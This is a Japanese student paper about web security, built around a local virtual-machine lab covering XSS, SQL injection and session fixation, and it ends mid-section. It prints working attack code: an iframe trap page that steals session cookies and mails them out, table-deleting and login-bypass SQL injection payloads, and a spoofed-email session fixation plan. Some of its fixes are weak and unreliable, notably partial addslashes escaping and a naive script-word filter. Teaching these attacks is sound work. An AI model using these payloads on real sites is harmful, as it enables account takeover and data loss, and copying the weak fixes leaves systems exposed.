目次
p.97 目次（本節） p.98 §0 : この研究について p.99 §1 : 巧妙化するアタックの手口 p.100 §2 : 閉鎖的環境における実践 p.111 §3 : 防御策の実装 p.114 §4 : 更なる脆弱性の分析 p.117 §5 : 開発ツールの基礎 p.119 §6 : さらに致命的な攻撃手法 p.124 参考資料・文献等 p.125 番外編この論文における表記について
・動作不具合を回避するため、全てのソースコードにはエンコーディングの宣言など が必須であるが、本論文の例示ソースコードでは省略した。 ・補足が必要な内容には脚注を行った。警告
次のページから始まる記事は、2011 年度土曜講座論文として学校に提出したものを 多少増補したものです。つまりあくまでも「一般向け」に書かれているため、事実と は異なる誇張表現や、プロが見れば明らかに間違いとしか思えない記述が混じってい ることが多々ございます。一番大きな間違いだけ以下に記しておきますが、それ以外 は皆様の大変優しい筈のお心で看過してやってください。よろしくお願い致します。 記 102 ページに、MySQL データベースに複文クエリを投げつける攻撃を紹介しました が、ご存知の方はご存知のはず、PHP から MySQL を操作する場合、複文クエリは使 用できません。文章を適当にPostgreSQL か MSSQL に読み替えてください。Web-based Systems Hacking
— XSS, SQL Injection and Session Fixation Attack —
§0. この研究について
この研究では、現代社会には必要不可欠なものとして普及した「インターネット」 に近年蔓延する数々のシステムの脆弱性と、攻撃手法を紹介し、それらに対応するた めの防御策の作成を行う。 そもそも、一般ユーザーにとってハッカーやクラッカーというのは幻想的存在であ り、ある意味憧れの存在かも知れない。各種テレビドラマや映画などで、コンピュー タ画面上のCUI (Character User Interface) を凝視し、次々にセキュリティ対策をくぐり 抜けてゆくその姿は、とくに少年たちの羨望の的になることもあるであろう。 このたび私は、倍率5 倍以上と噂される選考をなんとか通過し、ハッキング技術を 「国主催で」学ぶことができる唯一の会である、情報処理推進機構 (IPA)の「セキュ リティ＆プログラミングキャンプ2011」に参加する機会を得た。1 全国から集まった 大学生を中心とした10 名のチームで、業界の第一線で活躍する著名なセキュリティ 専門家と共にWeb セキュリティの研究を行う。この研究では、私の事前研究とキャ ンプでの研究成果2がまとめられ、最後に私の独自研究が追加されている。（？） ではそもそも、なぜWeb セキュリティを考える必要があるのだろうか。この理由 は、歴史を探ることで垣間見えるかもしれない。インターネットは1969 年にカリフ ォルニア州立大学ロサンゼルス校 (UCLA)とスタンフォード大学研究所 (SRI) を繫ぐ ネットワークシステムARPANET (アーパネット) が起源で、本格的に普及しだしたの は1990 年代。特に Microsoft 社が Windows 95 でインターネット接続機能を標準サポ ートしてから、一般民衆間に爆発的に広がるようになった。初めはテキストの送受信 だけをサポートしていたHTTP (HyperText Transfer Protocol)も、徐々に様々な仕様が制 定され、現代のWeb サイトのような動的ウェブサイトをサポートするスクリプト言 語が登場し始めた。実は近年問題になっているハッキングはここが元になっている。これらのスクリプ ト言語（PHP, JavaScript や、CGI と呼称される Perl など）は動的ウェブサイトを開発 する際に絶大な威力を発揮するが、インターネットという仕組みが元凶となり、大変 攻撃しやすい仕組みになっているのだ。そして、ウェブサイト作成がプロだけの仕事 であった時代から「個人サイト」の時代に移るにつれて、脆弱性に関する認識も薄れ はじめ、現在ではインターネット上に存在するウェブサイトの10 個に 9 個が致命的 な脆弱性を抱えているという分析結果まである。
1 ハッキング技術を学ぶことは、防御策を考える上で最も重要なことである。このキャンプではあ くまでも最終目標は防御策の学習と研究であり、攻撃技術の習得ではない。ただ、防御するには攻 撃が必要であるということだ。 2 実はそんなにたいしたものではない。笑
そこで、実際にランダムに選択したウェブサイトの「登録フォーム」にXSS (Cross Site Scripting3) と呼ばれる脆弱性 (後述) を攻撃する無害なコードを挿入し、実行した ところ、攻撃が有効化され、脆弱性が確認できたサイトは、とくに個人サイトに多か った。このような個人サイトの問題以外に、最近では開発者でも脆弱性対策を十分に 学んでいない人が多いと言われており、インターネットに依存する現代社会に大きな 脅威となっている。次節では、実際の攻撃手法を紹介する。
§1. 巧妙化するアタックの手口
早速、攻撃手法を見ていこう。今回は、数ある手法の中でも特にメジャーと言える 3 つの脆弱性を突く手法を見てみよう。① XSS (Cross Site Scripting)
クロスサイトスクリプティング、通称XSS は Web システムの攻撃手法としては最 もメジャーであり、そして最も防御が難しい「アタックの王道」である。そして、攻 撃方法が簡単である割に、攻撃を受けた際の被害が大きいのも特徴である。
攻撃コードは、主にお問い合わせやアカウント登録などで使われるHTML の <form>要素に埋め込まれ、サーバーに POST される。POST されるデータは、サーバ ーでスクリプト言語中に代入されて処理されるが、ここでデータを不正なスクリプト に書き換えることで、スクリプト言語中に不正なプログラムを注入することができる。 これを応用し、<iframe>要素4を介してアタックすることで、簡単に個人情報を盗み出 すことができるのだ。 ② SQL Injection こちらも基本原理は先述したXSS と似ているが、攻撃対象が異なる。Web システ ムでユーザー情報をはじめとするすべての情報を保存するデータベースシステムであ るSQL に対して不正な命令を行い個人情報の流出や全消去など、致命的な損害を与 えることができる。こちらは攻撃がパターン化されているため対策は複雑ではないが、 理解するのに高度な知識が必要な為、様々なシステムで対策が放置され続けている。 SQL データベースを操作するには、SQL 文と呼ばれる専用の命令文を使用する。例 えば会員登録画面で名前を入力して登録を行うと、サーバーでは
INSERT INTO table VALUE ($_POST[‘name’]);
といった感じでデータベースに命令が送られ、名前の文字列が格納される。ここに重 大な脆弱性が隠れている。§2 で実際に攻撃を行う。
3 略称が CSS でないのは、段階スタイルシート (Cascading Style Sheets) の略称として既に使われて
いたからである。
③ SF 攻撃 (Session Fixation Attack) セッション固定化攻撃とも呼ばれるこの攻撃手法は、世界的に用いられるスクリプ ト言語、PHP の決定的な弱点をうまく突いた攻撃法で、対処法は簡単であるが、意外 と知られていない手法である。（まあ、PHP だけで起こるという訳ではないが） 通常、クライアント側のブラウザとサーバーが通信する際には、1 度の通信で全て が完結することはない。例えばショッピングサイトであれば、商品の確認・支払い方 法の決定・配送先の入力・購入決定、といった感じに購入手続きの間に何度もサーバ ーと通信をする必要がある。このとき、複数のいクライアントからの要求でサーバー が混乱するのを防ぐ為、それぞれのクライアントとの通信に個別の識別番号をつけ、 通信にミスが起こらないようにしている。これをセッションID (SID) という。攻撃に よってこのセッションID を奪ったり、特定のセッション ID を使わせるようにすれば、 同じセッションID を用いてサーバーにアクセスし、データを盗んだり、不正な決済 をさせたりすることができる。これがセッション関連の攻撃で、利用者自身に大きな 害が及ぶ。セッション固定化攻撃はその中でも最も「お手軽」なもので、攻撃手法は 全く難しいものではない。実際の攻撃については後述する。 このように、様々な攻撃がある。それぞれにコツがあるのだが、コツさえ掴めてし まうと意外と簡単に攻撃ができてしまうかも知れない。 さて、次節では実際に脆弱性を含んだプログラムを作成し、自ら攻撃を行う。机上 の空論で説明するより、実際にハッキングを外部に与えない形式で行い、危険性を認 識するのがセキュリティの研究の第一歩である。では、実践してみよう。
§2. 閉鎖的環境における実践
さて、実際に攻撃を行う前に、環境構築を行う。攻撃によって、予期せぬ不具合が 発生しコンピュータが故障するのを防ぐ為、今回は実験用だけに新たに仮想サーバー を構築する。概要は以下の通り。 コンピュータ： iMac (mid 2009)プロセッサ： Intel Core 2 Duo 2.93GHz メモリ： 8GB 仮想化システム： VMWare FUSION 3.0 サーバーOS： Ubuntu 11.04 割り当てメモリ： 2GB ウェブサーバー： Apache HTTP Server 2.0 データベース： Oracle MySQL 5.5.14 メールサーバー： Postfix 2.7.2
スクリプト言語： PHP 5.3 テキストエディタ： Vim 7.3 さて、早速サーバーを起動し、脆弱性を含むソースコードを書く。5 まずは、§1 の ①で紹介したXSS の最も簡単な例示からだ。 SOURCE1: FIRST XSS /xss/1/001.html --- <html> <head><title>XSS1</title></head> <body>
<form action=”002.php” method=”post”> name:<input type=”text” name=”id”><br> <input type=”submit” value=”send”> </form></body></html> /xss/1/002.php --- <html> <head><title>XSS1</title></head> <body>
<?php echo “done: “.$_POST[‘id’]; ?> </body></html> これで、以下のようなページができる。 ここに、試しに普通の文字列を打って送ってみよ う。Tehu と入力して send をクリックすると、 done: Tehu と表示されるようになっている。では、ここにJavascript を注入したらどうか。 <script>alert(document.title);</script> さっきの実行結果から考えると、
5 当然ではあるが、この研究で紹介した手法を実践したことによりいかなる損害等が発生しても一 切の責任を負わない。
name:
send
done: <script>alert... という風に表示されるという予想は当然立つ。 実際にやってみた。すると、 XSS1 というポップアップアラートウィンドウが出る。6 これが、XSS である。といっても、意味がわからないので、動きを分析してみる。 さきほど、done: <script>alert...という表示がなされると予想した。実はこれは間違っ ていない。プログラムはウソをつかない。ちゃんと誠実に仕事をしてくれる。ここま ではよい。 では、なぜポップアップが出現したのか。 ブラウザは、サーバーから帰ってきたリクエストに含まれるHTML を順次パース (解析) し、レンダリング (画面表示) する。じつはこのときに、JavaScript などのクラ イアント依存のスクリプトを自動的に実行し、結果をレンダリングする仕組みになっ ているのだ。つまり、先ほどの操作を行うと、 done: <script>alert...が表示されるだけ では終わらず、そこからさらに done: 以降のスクリプトが実行されてしまうのである。 これが「注入」とよばれる基本のテクニックだ。今回注入したスクリプトは、ポップ アップ画面でページのタイトルを出力するものであった。たとえばこれを <script>document.write(document.title);</script> とするとどうなるだろうか。こうすると、ポップアップではなく、単に画面にタイト ルが表示される。つまり、こうなる。 done: XSS1 これがXSS である。しかし、これではただのお遊びで、何のハックもできていない。 個人情報を盗み出すには、これを応用する。
実際にXSS 脆弱性を突いてよく奪われるのは Cookie の値である。Cookie は、Web サイトのシステムがブラウザを通して訪問者のコンピュータに何らかの値を保存させ ることができるシステムで、現在では多くのサイトで使用されている。たとえば、会 員制サイトのログイン画面で、ID とパスワードの入力欄の下に「ログインを持続する」 や「ログインを記憶する」などといったチェックボックスがあることがある。これは、 典型的なCookie の活用例である。そして、実はその Cookie は JavaScript で
<script>alert(document.cookie);</script> というスクリプトを実行するだけで全て取得できてしまうのである。普通Web サイ ト中では任意の JavaScript は実行できない。7 しかし、サイトに XSS 脆弱性があれば、
6 ただ、この程度の XSS であればブラウザ側がフィルタすることがある。XSS 回避設定を解除して 動かせばよい。
POST するデータに Cookie 取得スクリプトを紛れ込ませることで、堂々と Cookie に 含まれる個人情報を盗み出すことができる。 論より証拠！実際に脆弱性を含むシステムと、攻撃を行う罠システムを作成する。 SOURCE2: REAL XSS /xss/2/001.php <?php session_start(); ?> <body>
Keyword: <?php echo $_GET[‘id’]; ?> </body> これは<form>を略した欠陥システムである。値は URL 中に直接指定する。 session_start();により、セッションが開始され、Session ID が Cookie によって保持され る。以下のURL を指定すれば XSS が動作する。 /xss/2/001.php?id=<script>alert(doc... 実際に先ほどと同じ手法でCookie をアラート表示させると、このような表示が確認 できる。 PHPSESSID=64vis21ftdhjke5r1ba5sdgh... このように、セッションID を盗み出せる。なお、セッション ID は乱数が生成されて 代入されるため、規則性はない。8 さて、このようにして Cookie に含まれる個人情報 が取得できるのを確認できた。 では早速、外部から攻撃を仕掛けてCookie のデータを奪取する罠サイトを作成す る。§1 でも紹介した、<iframe>を用いた攻撃を行う。 /xss/2/900.html --- <html><body>Secret virgin<br><br>
<iframe width=320 height=100 src=”001.php?id=<script> window.location=‘901.php?id=‘
%2Bdocument.cookie;</script>”> </iframe></body></html>9
7 DOM (Document Object Model) によって差し込む、というのは実は可能だがあまりおすすめできる
ことではない。 8 これに関連した話で、暗号論的疑似乱数生成系に関する研究も非常におもしろそうだ。暗号論的 疑似乱数とは、現実的な時間内に乱数値を予測することができないことが理論的に証明された乱数 であり、セッションID の自動生成に活用されている。 9 プログラム 5 行目先頭にある%2B は、”+”(プラス記号)を表す URL Encoded な値である。文字エン コードの問題を最小限にする為、URL パラメータでは普通、英数字以外の全ての文字(日本語を含 む)は URL Encode により”%+英数字”に変換する。
/xss/2/901.php --- <?php
mb_language(‘Japanese’);
mb_send_mail(‘[email protected]’, ‘result’, ‘cookie:’.$_GET[‘id’], ‘From:
[email protected]’); ?>
<body>attack was succeed!</body>
これで、Cookie を盗み出せてしまう。実際に流れを確認してみると、まず ①900.html にアクセスすると、iframe 内から 001.php に不正な JavaScript パラメータ が送信され、Cookie 値が漏洩してしまう。 ②漏洩したCookie 値は 901.php に準備された PHP によってメールでハッカーへ。 ③送信が完了すると、iframe 内に攻撃完了を示す文字列が表示される。 仕組みは簡単であるが、威力は絶大である。001.php において session を開始した際、 Cookie の保持期限を指定していなかったため、原則としてはブラウザが終了されるま でCookie は保持される。つまり、一度 001.php にアクセスしてからブラウザを終了す るまでに、ユーザーが900.html にアクセスすれば、まんまと攻撃ができるようになる わけだ。Cookie に格納された機密情報 (セッション ID, ユーザーID, パスワードのハ ッシュ値など) を手に入れたら、あとはどうにでも煮炊きできる。ショッピングサイ トであれば不正ログインして不正決済させることもできるし、SNS サイトであれば不 正な発言を自由に行える。ユーザーに与えるダメージは絶大だ。なお、アクセスした 際このように表示される。
Secret virgin
また、前頁で紹介した900.html では iframe に width と height を指定している 為、”attack was succeed!” が見えている。通常は、Cookie が盗み出されたことがばれ ないように、iframe には width=0 height=0 を設定し、不可視にすることが多い。 これがXSS の最も基本的な攻撃手法である。攻撃の鮮やかさは、考案されてから 10 年以上経った今でも色あせないほど、美しいハッキング手法である。
さて、次に§1 の②で紹介した SQL Injection の実例を紹介する。今回は、例示の為 にOracle MySQL 上にデータベース”hack”を作成し、その中に InnoDB を処理エンジン としたテーブル”ikimono” を作成し、事前に以下の値10を保存した。 DATABASE1: hack/ikimono Id name birth --- --- --- 1 Yoshiki Mizuno 1982 2 Kiyoe Yoshioka 1984 3 Hotaka Yamashita 1982 さらに、このテーブルに接続してデータを取得し、表示するプログラムをPHP で書 く。
SOURCE3: FIRST INJECTION /sql/1/001.php --- <?php $url = “localhost”; $user = “root”; $pass = “tehutehu”; $db = “hack”;
$sql = “SELECT * FROM ikimono WHERE birth=”.$_GET[‘year’]; $link = mysql_connect($url,$user,$pass) or die(”died”);
$sdb = mysql_select_db($db,$link) or die(”failed to select”); mysql_query(”set names utf8”);
$result = mysql_query($sql, $link) or die(”failed to query”); mysql_close($link) or die(”bad cl”);
while($row=mysql_fetch_assoc($result)){
echo “id:”.$row[‘id’].” name:”.$row[‘name’].”<br>”; } ?>
10 教師の名前でもよかったのだが、執筆日が某 3 人組バンドの大阪ライブの次の日であったため、 バンドメンバーの名前と誕生年を使わせていただいた。誕生年に重なりがあり、例示にもちょうど 良かった。
実際に実行してみよう。URL にパラメータとして year=1982 を指定する。つまりこ うだ。
/sql/1/001.php?year=1982
これを実行すると、次の実行結果が帰ってくる。
id:1 Name:Yoshiki Mizuno id:2 Name:Hotaka Yamashita
このプログラムでは、パラメータに指定した年値と一致する誕生年を持つ人物をデ ータベースから検索し、表示している。つまり、1984 を指定すれば Kiyoe Yoshioka が出力されるし、2011 と入力するとなにも出力されない。実際にデータベースに命令 をしているSQL 文は 001.php の 6 行目にあるとおり
SELECT * FROM ikimono WHERE birth=○○○○
これでデータベースから一致するデータを引っ張り出すことができる。じつはここに 不正なSQL 文を注入することで、データベースに不正な命令が可能である。たとえ ば、こんな値を挿入してみる。
0;DELETE FROM ikimono
この操作を行った後に再度データベースを確認すると、このように表示されてしまっ た。
DATABASE1: hack/ikimono (hacked)
Id name birth
--- --- --- Waring: this table doesn’t have any records!
見事ハッキング成功、管理下にないデータベースのデータをすべて削除する事に成 功した。 仕組みは簡単である。数値リテラルはクォーテーションで囲まないため、数値でな い文字が現れた時点でその数値は終了と判定される。そのため、セミコロン以降がリ テラルではなく普通のSQL 文として解釈され、実行されてしまったのだ。11実行され た不正なSQL 文は、見た目通りでテーブル ikimono のすべての内容を削除する命令で ある。 では、これを応用して現実的な攻撃を行ってみる。よくあるWeb システムのログ インシステムを以下のようにMySQL にテーブルを設置し、001.html と 002.php を再 現した。
11 このように命令を中断させて別の命令をおこなう攻撃は、複文命令に対応したデータベースシス テムでしか使えない。
DATABASE2: hack/login Id name pass12 --- --- --- 1 tehu tehutehu 2 kinta tanki 3 kiyoe hotaka
SOURCE4: REAL INJECTION /sql/2/001.html
<html>
<head><title>SQL</title></head> <body>
<form action=”002.php” method=”post”> name:<input type=”text” name=”id”><br> pass:<input type=”text” name=”pw”><br> <input type=”submit” value=”send”> </form></body></html> /sql/1/002.php --- <?php $id = $_POST[‘id’]; $pw = $_POST[‘pw’]; $url = “localhost”; $user = “root”; $pass = “tehutehu”; $db = “hack”;
$sql = “SELECT * FROM login WHERE name=’”.$id.”’ AND pass=‘”. $pw.”’”;
$link = mysql_connect($url,$user,$pass) or die(”died”); $sdb = mysql_select_db($db,$link) or die(”failed to select”); mysql_query(”set names utf8”);
$result = mysql_query($sql, $link) or die(”failed to query”); mysql_close($link) or die(”bad cl”);
if($row=mysql_fetch_assoc($result)){ echo “process was done!”;
} else {
echo “authentication was denied!” }
?>
001.html では以下のように表示される。
ここにname:kinta pass:tanki と入力して送信すると、process was done! が出力される。 また、同様にname:tehu pass:debu と入力すると authentication was denied! と出力され てアクセスできない。002.php の SQL 命令は、 ①id と pw が両方一致する項目を検索する SQL 文を記述して、データベースに送信 ②データベースで検索を行い、一致するデータが見つかった場合は該当データを格納 ③変数に該当データがあればログイン成功と判定し、なければログイン失敗と判断 この方式は大変メジャーであるが、条件式の部分には非常に大きな脆弱性がある。 実際にアタックしてみよう。name に tehu、pass に ’ OR ‘a’=’a
と入力してみる。すると不思議な事に、認証を通過してしまい、process was done! が 出力される。
なぜ通ってしまったのか、データベースに送信されたSQL 文を見てみる。
SELECT * FROM login WHERE name=‘tehu’ AND pass=’’ OR ‘a’=’a’
つまり、「name が tehu であり、かつ pass が無し、もしくは文字列 a と文字列 a が一 致する」ときにログインが成功することになる。文字列a と文字列 a が異なるはずが ないので、結局このSQL 文はデータベースに登録された pass を無視して不正アクセ スを通してしまう仕組みになっているのだ。 これが基本の非常に有名なSQL Injection の例であるが、XSS でも SQL Injection で も、ソースコードの変数内に「汚染された」コードを注入する事で不正な操作、つま り攻撃をすることができたということが容易に理解できるであろう。Web システムに おいて、変数、特に外部から容易に変更できる変数の扱い方というのは非常に難しい。 最後に、§1 の③のセッション固定化攻撃を実践してみる。その前に、セッションと いうシステムが大変脆弱であることを確認しよう。セッションを乗っ取る攻撃は総称 してSession Hijack と呼ばれる。セッションを乗っ取るには３つの方法がある。 1) セッション ID の推測 セッションID は乱数が生成されるため普通は推測できないようになっている。し かし、これは言語既存のセッション管理機構を用いてセッションをスタートした場合
name:
pass:
send
に限る。何らかの理由で自作のセッション管理機構を使用した場合、セッションID の乱数生成ロジックが安易になりがちだ。以下にありがちな例を挙げる。
PICT1: SESSION ID HACKS
乱数を使用したから安全というわけではない。実は乱数はUNIX Time を元に生成 したりしていることが多く、たいてい推測がつく。つまり、上のようなID 作成方法 ではセキュリティ的には最悪といえるのである。そのため、自作のセッション管理機 構はできる限り使わないことが推奨される。使用する際は、Linux の/dev/urandom な どの優れた乱数生成器を使うべきだ。セッションID が推測されてしまうと、簡単に 乗っ取られてしまうのは明らかである。 2) セッション ID の盗みだし 推測よりも確実なのが盗みである。本来セッションID は Cookie に保存される個人 情報と並んで最高レベルの機密情報として扱われるが、細心の注意を払わないと簡単 に悪用される。例としては、先述したXSS 脆弱性によって流出したり、HTTP ヘッダ へのインジェクション攻撃、またSID が URL に埋め込まれることで起こる HTTP ヘ ッダのReferer の悪用、ネットワーク盗聴による SID 漏洩などがあるが、詳細は割愛 する。 3) セッション ID の強制 セッションID の強制とは、何らかの形で特定のセッション ID で通信を行うように ユーザーに仕向けることである。強制されたID は当然攻撃者側も知っているので、 ユーザーが強制されたID で操作を行えば情報はすべて筒抜けになってしまう。 IP アドレス 日時・乱数 ユーザーID 単独または 組み合わせ 必要に応じてエンコード・ハッシュ化等 セッションID
この「強制」こそが、今回紹介するセッション固定化攻撃である。では、実際に例 を作成してみる。
SOURCE5: SESSION FIXATION /sid/1/.htaccess
---
php_flag session.use_cookies On php_flag session.use_only_cookies Off php_flag session.use_trans_sid On /sid/1/001.php
---
<?php session_start(); ?><body>
<form action=”002.php” method=”POST”> ID:<input name=”id” type=”text”><br> <input type=”submit” value=”Login”> </form></body> /sid/1/002.php --- <?php session_start(); $id = $_POST[‘id’]; $_SESSION[‘id’] = $id; ?> <body>
Hello, Mr/Mrs. <?php echo $id; ?>!<br> <a href=”003.php”>Your Info</a> </body> /sid/1/003.php --- <?php session_start(); ?> <body> Your Info<br>
ID: <?php echo $_SESSION[‘id’]; ?> </body>
このシステムは単純なログインシステムを再現したものである。.htaccess ファイル は固定化攻撃が発生しやすい環境を作る為に設定した。001.php で ID を入力すると、 002.php に飛ばされ、セッション ID が生成されてセッション変数に ID が格納される。
では、実際に攻撃をしてみよう。別途、php の sendmail などを用いて From ヘッダ 要素をサービスの運営元のアドレスに改ざんし、あたかも運営からのお知らせのよう な「なりすまし」メールを送る。送られたメールはこのような感じだ。
あとは、このメールを見たSatoru Cho さんが記載された URL をクリックするだけ だ。クリックすると、PHPSESSID パラメータを含んだログインページに繋がる。こ こで名前をいれてログインすると、新しく生成されたセッションID ではなく、パラ メータで指定された「123」がセッション ID として固定される。一度ログインしてし まえば、攻撃者の勝ちである。他のコンピュータから http://example.jp/sid/1/003.php?PHPSESSID=123 にアクセスするとSatoru Cho さんが何を入力したかが丸見えになってしまう。もし ID 以外の情報、住所や電話番号が書かれていたら... と思うと、夜も眠れない。13 このように、セッション攻撃はユーザー自身が墓穴を掘る形になる、という特徴が ある。このような明らかに怪しいURL を踏まないというのが 1 番の解決方法ではあ るが、ほとんどのユーザーは危険性を理解出来ない。そのため、システム側で強制操 作攻撃に対する防御を固めておく必要がある。 今回の攻撃の大元の原因は、.htaccess ファイルにある。.htaccess ファイルでは、セ ッションID を URL にパラメータとして保持することを許可し、また Cookie として 保存することも許可している。これが原因で、パラメータPHPSESSID（これは PHP で定められた、セッションID を持つパラメータである）に指定したセッション ID が そのままシステム内でも使用できてしまうのである。 これがセッションの固定化攻撃である。これらの攻撃は、大変身近に多く存在する。 日頃様々なオンラインシステムを使用する際、少しは攻撃の可能性を考えるべきだが、 ほとんどのユーザーがシステムが安全であると思い込んでいるのが現状だ。そして攻 撃手法のほとんどは、ユーザーからは判別しにくいものである。そこで、やはりシス テム側で未然に防ぐことが不可欠となる。そこで、次章ではこれまでに挙げた脆弱性 を含むプログラムの脆弱性を塞ぐ手法について考える。
§3. 防御策の実装
さて、防御策の検討に進む。先ほど例示した3 つについて、それぞれの防御方法を 紹介し、実際にプログラムを改良する。それぞれに、対策をしよう。13 研究中に、ある小規模団体の販売サイトで実際にセッション ID に関する脆弱性を発見した。脆弱 性分析を行いウェブサイトの管理者に報告したところ、数日で修正され、お礼のメールをいただい た。脆弱性は身近なところにもあふれている。
まずはじめに、XSS 脆弱性の対策である。先ほど挙げた攻撃例では、注入した JavaScript が動作したのが問題である。というわけで、注入したスクリプトをもう一 度見てみよう。 <script>window.location=‘901.php?id=‘%2Bdocument.cookie;</script> これを無効化14したい。通常、注入された不正なコードを無効化するには、エスケー プ処理を行う。エスケープとは、プログラムなどに含まれる特殊な記号を別の文字列 に置き換えることで、プログラムが動作できないように処理する。PHP においては、 以下の関数を呼び出すことで簡単にエスケープすることができる。
htmlspecialchars($p, ENT_QUOTES, “UTF-8”);
第1 引数に文字列を指定し、第 2 引数に変換対象文字の設定名、第 3 引数に文字エン コーディングを指定した。ENT_QUOTES 変換対象文字15は以下。 < → < > → > & → & “ → " ‘ → ' つまり、注入されたスクリプトは以下のように変換されると考えられる。 <script>window.location=鯝.php? id='%2Bdocument.cookie;</script> このようにエスケープされてしまった。こうされてしまうと、もう不正なコードは実 行されることはない。試しに、ソースコードをこのように修正する。
SOURCE6: REAL XSS (VER.2) /xss/2/001.php --- <?php session_start(); ?> <body> Keyword: <?php
echo htmlspecialchars($_GET[‘id’],ENT_QUOTES, “UTF-8”); ?> </body> こうすると、いくら先述した偽プログラム900.php を実行しても、セッション ID を盗 み出すことはできなくなる。XSS の基本的な脆弱性塞ぎは完成だ。
14 無効化することを「サニタイズ」と言うことがある。 15 このように、文字列を&######;という形式に変換することを HTML 数値文字参照変換という。
次に、SQL Injection 脆弱性を解決する。先述したログインシステムの脆弱性は、実 はXSS 脆弱性と同様に、エスケープ処理を行うことで回避できる。ただ、JavaScript の時とは少し異なり、SQL 文を使用するため、htmlspecialchars() ではなく、 addslashes($p); を使用する。これを使用すると、先ほど紹介した ’ OR ‘a’=’a という不正なInjection コードは \’ OR \‘a\’=\’a といった感じで、シングルクォーテーションにバックスラッシュが付加されて無効化 される。 つまり、次のようにソースコードを書き換えればよいことがわかる。
SOURCE7: REAL INJECTION (VER.2) /sql/1/002.php --- <?php $id = $_POST[‘id’]; $pw = $_POST[‘pw’]; $url = “localhost”; $user = “root”; $pass = “tehutehu”; $db = “hack”;
$sql = “SELECT * FROM login WHERE name=’”.$id.”’ AND pass=‘”. addslashes($pw).”’”;
$link = mysql_connect($url,$user,$pass) or die(”died”); $sdb = mysql_select_db($db,$link) or die(”failed to select”); mysql_query(”set names utf8”);
$result = mysql_query($sql, $link) or die(”failed to query”); mysql_close($link) or die(”bad cl”);
if($row=mysql_fetch_assoc($result)){ echo “process was done!”;
} else {
echo “authentication was denied!” }
?>
このように入力された値を受け取ったらすぐにサニタイズ処理を行うことはシステム の開発では大変大事である。このような些細な処理は、システムの完成後に追加する のが困難だからである。
最後に、セッション固定化攻撃の穴を塞ぐ。先述したように、そもそもこの問題は URL にパラメータとしてセッション ID を指定できるのが原因であるため、.htaccess ファイルを書き換える。
SOURCE8: SESSION FIXATION (VER.2) /sid/1/.htaccess
---
php_flag session.use_cookies Off php_flag session.use_only_cookies Off php_flag session.use_trans_sid Off
これで、表面的にはURL パラメータや Cookie からセッション ID を強制することが できなくなる。 このように、少々の改良で攻撃のリスクはかなり低くなる。ただ、まだ穴はたくさ ん存在する。
§4. 更なる脆弱性の分析
このように基礎的な脆弱性を解決したところで、気を休めずに再度新たな脆弱性を 突いてみよう。①
XSS 脆弱性
先ほどXSS 脆弱性を埋める際に、5 つの記号が数値文字参照変換されることを確認 した。逆に、これらの記号を使わずにJavaScript を記述することができないかを考え る。JavaScript では、JavaScript Scheme という機能があり、以下のように記述することで 動作する。 javascript:alert(document.title) 試しにこのソースコードをGoogle のトップページで実行してみよう。Google にア クセスし、アドレス欄を全て削除して、上のコードを入力して決定すると、ページの タイトルを記載したアラートが表示される。このような実行方法は、イベントハンド ラを用いて記載できる。 このような問題はhtmlspecialchars では防ぎ切れない場所があるので、たとえば受け 取った文字列からscript を意図的に削除したり、なにか別の文字列に置き換えること によって、XSS を原理的に不可能にしてしまうことが可能である。 s/script/xscript/; この置換正規表現を使用することで、<script>は<xscript>となり、javascript:が javaxscript: となり、無効化されるのが確認できる。
これで、かなりのXSS は防ぐことができた。ただ、ブラウザ特有の機能（例： Internet Explorer では expression を用いて、CSS で JavaScript を実行できる）やバグが 存在し、完璧とは言えない。完璧なXSS 対策は難しく、また XSS 脆弱性は穴の種類 によって様々な形式があり、新しいものがどんどん出てくる最も厄介な攻撃方法なの で、完璧な対策は不可能といっても過言ではない。その例として、Google などの著名 サイトでもXSS 脆弱性はよく見つけられており、企業はこれらの脆弱性に懸賞金をか けることで穴を減らして行っている。
②
SQL Injection 脆弱性
次に、SQL Injection 脆弱性の更なるウィークポイントを突いてみよう。先ほど、 addslashes()を使用したエスケープで脆弱性を修正できると紹介したが、じつは SQL 脆 弱性の一つ目の例としてあげたデータベース削除攻撃は、エスケープでは解決できな い。なぜなら、エスケープできる文字列がひとつも含まれておらず、不正なコードが そのまま実行されてしまうからだ。エスケープでは「不正なコードに含まれることが 多い文字列」であるクォーテーションなどを処理するが、データベース削除攻撃では 文字列ではなく数値を処理するため、エスケープの対象になるクォーテーションが使 用されていない。エスケープではこれを防ぐことができない。 解決法は複数ある。ひとつは、入力欄で桁数や入力可能文字を制限し、値をURL にパラメータで付加できるGET ではなく POST で送信する方法だ。ただ、これは入 力欄以外からPOST を行う方法がたくさんあるため、まったく効果をなさない対策で あると考えられる。例えば、proxy 型ツールの代表格である Fiddler (Microsoft) では、 通信を遮断しPOST を改竄する機能がある。16これを使用することで入力欄に依存せ16 Microsoft が POST を改竄できるソフトウェアを出したなんて皮肉なことだと思われるかもしれな
いが、もともとは改竄用のツールというわけではなく、様々な通信内容を閲覧するためのソフトウ ェアである。
ずにデータを送信できる。この他にも、ブラウザが備えるユーティリティを使用して HTML を改変できる場合、input 要素の value 属性の値を書き換えることができる。こ れでも入力欄に依存せずに送信ができる。さらに、Telnet サービスを使用してブラウ ザを一切使用せずクライアントから直接POST を送信することもできるため、入力欄 での制限は大変限定的である。 数値のみの場合、受け取った値にintval() 関数を実行することで数値以外の値は無 効となるし、以下のような正規表現を使用してもよいかもしれない。 preg_match(”/\d+/”, $subject); ただ、これでは応用性がない。抜本的な対策を考えよう。SQL Injection の対策とし てよく挙げられるのは、プレースホルダーという考え方である。ここでは、もっとも 安全とされている静的プレースホルダーを紹介する。プレースホルダーとは、「場所 取り」という意味で、SQL においても同じ意味で用いる。まずは図でプレースホルダ ーの簡単な構造について説明しようと思う。 SQL Injection 脆弱性の根本原因は、パラメータとして指定された文字列の一部がリ テラルをはみ出すことで、SQL 文が変更されることである。つまり、この脆弱性を解 消する為には、SQL 文を組み立てる際に SQL 文の変更を防ぐ必要がある。 プレースホルダーを利用すると、SQL 文は以下のように記述できる。 SELECT * FROM table WHERE id = ?
SQL 文中のクエスチョンマークがプレースホルダーで、値を入れる前にこの SQL 文をコンパイルする。実行前のすべての工程（コンパイル）を終えてから、最後に? に値を代入するので、不正な値が入っていてもそれがSQL 文として実行されること はない。これは原理的なもので、SQL Injection 脆弱性を突かれることは 100%ないと 言って良いだろう。
③セッション固定化攻撃
